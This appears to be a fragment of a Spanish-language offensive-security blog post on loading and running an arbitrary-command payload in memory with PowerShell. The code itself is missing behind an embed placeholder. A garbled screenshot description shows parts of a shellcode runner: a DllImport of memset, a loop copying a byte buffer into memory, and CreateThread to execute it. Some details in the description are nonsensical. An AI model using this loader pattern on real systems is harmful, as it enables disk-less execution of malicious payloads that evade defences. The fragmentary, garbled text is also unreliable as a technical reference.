

Cargar en memoria y ejecutar un payload de ejecución de comandos arbitrarios en PowerShell

[crayon-6a9d4fdf899dd794749395/]



The screenshot shows the Windows PowerShell ISE (v86) interface. The left pane displays a list of lines from 15925400 to 2040. The right pane shows a script titled 'Sin título1.ps1' with the following content:

```
8 [DllImport("msvcrt.dll")]
9 public static extern IntPtr memset(IntPtr dest, uint src, uint count);
10 *a

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. Todos los derechos reservados.

No se puede cargar el módulo de PSReadline. Se está ejecutando la consola sin PSReadline.
PS C:\Users\juan>

48 for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}
49
50 # Ejecutar el payload
51 $winFunc::CreateThread(0,0,$x,0,0,0)
```

The status bar at the bottom indicates 'Completado' (Completed) and shows the cursor position as 'Lin. 8 Col. 26' with a zoom level of '100 %'.